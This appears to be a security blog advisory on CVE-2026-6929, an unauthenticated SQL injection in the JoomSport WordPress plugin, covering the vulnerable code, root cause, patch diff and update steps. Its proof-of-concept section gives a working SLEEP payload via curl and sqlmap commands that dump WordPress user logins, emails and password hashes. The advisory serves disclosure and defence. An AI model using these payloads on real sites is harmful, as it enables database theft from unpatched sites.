JoomSport – for Sports: Team & League, Football, Hockey & more WordPress plugin banner

CVE-2026-6929: JoomSport Unauthenticated SQL Injection (CVSS 7.5)

Updated 6 min read

CVE-2026-6929 is a CVSS 7.5 (High) unauthenticated time-based blind SQL injection vulnerability in the JoomSport – for Sports: Team & League, Football, Hockey & more WordPress plugin. Any visitor — without logging in — can send a crafted sortf parameter to a page with the player list and force the database server to delay its response, confirming SQL injection. From there, the attacker can extract any data stored in the WordPress database.

Vulnerability Summary

FieldValue
Plugin NameJoomSport – for Sports: Team & League, Football, Hockey & more
Plugin Slugjoomsport-sports-league-results-management
CVE IDCVE-2026-6929
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeUnauthenticated SQL Injection (Time-Based Blind)
Affected Versions<= 5.7.7
Patched Version5.7.8
PublishedMay 12, 2026
Researcherdaroo
Wordfence AdvisoryLink

Description

The JoomSport plugin allows any visitor to sort the player list by passing a sortf GET parameter in the URL. In versions up to and including 5.7.7, that parameter is taken from user input and placed directly into the SQL ORDER BY clause without proper validation. The only safeguard applied is WordPress’s sanitize_text_field(), which strips HTML tags but does not prevent SQL injection. As a result, an unauthenticated attacker can inject SQL expressions into the sort field and extract sensitive information from the database through time-based blind injection techniques.

Technical Analysis

Vulnerable File: class-jsport-playerlist.php

The vulnerability starts in sportleague/classes/objects/class-jsport-playerlist.php. Inside the loadObject() method, the plugin reads the sortf GET parameter and uses it to build the SQL ORDER BY clause:

// class-jsport-playerlist.php — lines 78–80 (version 5.7.6)
if (classJsportRequest::get('sortf')) {
    $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC"))?classJsportRequest::get('sortd'):"ASC";
    $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
}

The code wraps the user-supplied value in backtick characters (`) and calls sanitize_text_field(). Neither defense prevents SQL injection:

  • Backtick wrapping is meant to quote a column name in MySQL. However, a user can close the first backtick by supplying their own backtick in the input — escaping the quoted context.
  • sanitize_text_field() removes HTML tags and strips certain whitespace. It does not escape or remove SQL-special characters such as backticks, dashes, or SQL keywords.

For example, if the attacker sends sortf=played%60-SLEEP(5)-- (URL-encoded backtick), the plugin builds:

`played`-SLEEP(5)-- ASC

How the Input Reaches the Database

The classJsportRequest::get() method reads $_REQUEST['sortf'] and applies sanitize_text_field():

// class-jsport-request.php — line 33
$return = isset($_REQUEST[$var]) ? sanitize_text_field(wp_unslash($_REQUEST[$var])) : '';

No authentication check is applied anywhere in this code path. The $options['ordering'] value is then passed to classJsportgetplayers::getPlayersFromTeam(), which concatenates it directly into a raw SQL string:

// class-jsport-getplayers.php — line 153
$query .= ' ORDER BY '.($ordering)
    .(isset($limit) && $limit ? " LIMIT {$limit}" : '')
    .(isset($limit) && $limit && isset($offset) ? " OFFSET {$offset}" : '');

The same direct concatenation appears on lines 102 and 197 for different query paths. None of these use $wpdb->prepare() or any parameterized approach for the ORDER BY clause.

Root Cause

sanitize_text_field() is not a SQL-escaping function. It is designed for display safety, not database safety. The code never validates that the sortf value matches an allowed column name. Any string that survives sanitize_text_field() — including SQL expressions — is inserted verbatim into the query.

Because the player list is rendered on publicly accessible pages (via the joomsport_season post type or the [jsMatchPlayerList] shortcode), no login is required to reach this code path.

Proof of Concept

Disclaimer: This proof of concept is provided for educational and defensive purposes only. Test only on systems you own or have explicit written permission to test.

Prerequisites:

  • JoomSport plugin installed and activated, version ≤ 5.7.7
  • At least one joomsport_season post published, or a page with the [jsMatchPlayerList] shortcode
  • TARGET_URL = URL of any such page (e.g. https://example.com/my-league/)

Step 1 — Confirm time-based injection (5-second delay):

# The backtick closes the quoted column context; SLEEP(5) delays the response.
# Note: URL-encode the backtick as %60.
curl -s -o /dev/null -w "Time: %{time_total}s\n" \
  "https://example.com/my-league/?sortf=played%60-SLEEP(5)--&sortd=ASC"

Expected output (vulnerable site):

Time: 5.2s

On a patched site the response returns immediately (< 1 second) because the payload is rejected by the allowlist.

Step 2 — Extract data with SQLMap (time-based blind):

sqlmap -u "https://example.com/my-league/?sortf=played&sortd=ASC" \
  -p sortf \
  --technique=T \
  --level=1 \
  --risk=1 \
  --dbs \
  --batch

SQLMap will detect the time-based blind injection point and enumerate databases.

Step 3 — Dump WordPress users table:

sqlmap -u "https://example.com/my-league/?sortf=played&sortd=ASC" \
  -p sortf \
  --technique=T \
  -D wordpress \
  -T wp_users \
  -C user_login,user_email,user_pass \
  --dump \
  --batch

This retrieves all WordPress usernames, email addresses, and hashed passwords from the database.

Patch Analysis

Version 5.7.8 fixes the vulnerability by introducing a strict allowlist for the sortf parameter. The unsafe direct use of user input is replaced with a validated variable $sortFieldEsc that defaults to post_title:

// class-jsport-playerlist.php
+        $sortFieldEsc = 'post_title';
+        $sortCols = array("played", "career_minutes","post_title");
+
         if (classJsportRequest::get('sortf')) {
             $link .= '&sortf='.classJsportRequest::get('sortf');
             $link .= '&sortd='.classJsportRequest::get('sortd');
+
+            if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
+                $sortFieldEsc = classJsportRequest::get('sortf');
+            }
+            if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) {
+                $sortFieldEsc = classJsportRequest::get('sortf');
+            }
+            if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) {
+                $sortFieldEsc = classJsportRequest::get('sortf');
+            }
         }

         if (classJsportRequest::get('sortf')) {
             $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC"))?classJsportRequest::get('sortd'):"ASC";
-            $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+            $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
         }

The fix ensures that only known-safe values reach the SQL query:

  • A static list of column names: played, career_minutes, post_title
  • Dynamic event columns matching the pattern eventid_<number>
  • Extra field columns matching the pattern ef_<number>

Any other input is silently ignored and the safe default post_title is used instead. This approach removes the injection vector entirely.

Timeline

DateEvent
May 12, 2026Vulnerability publicly disclosed by Wordfence
May 13, 2026Advisory last updated
May 14, 2026Blog post published

Remediation

Update JoomSport to version 5.7.8 or later immediately.

  1. Go to WordPress Admin → Plugins → Installed Plugins
  2. Find JoomSport – for Sports: Team & League, Football, Hockey & more
  3. Click Update Now

You can also download version 5.7.8 directly from wordpress.org.

If you cannot update right away, temporarily deactivate the plugin to remove the attack surface until the update is applied.

References

  1. Wordfence Advisory — CVE-2026-6929
  2. CVE Record — CVE-2026-6929
  3. Vulnerable file: class-jsport-getplayers.php (trunk)
  4. Vulnerable file: class-jsport-playerlist.php (trunk)
  5. Patch changeset on plugins.trac.wordpress.org
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee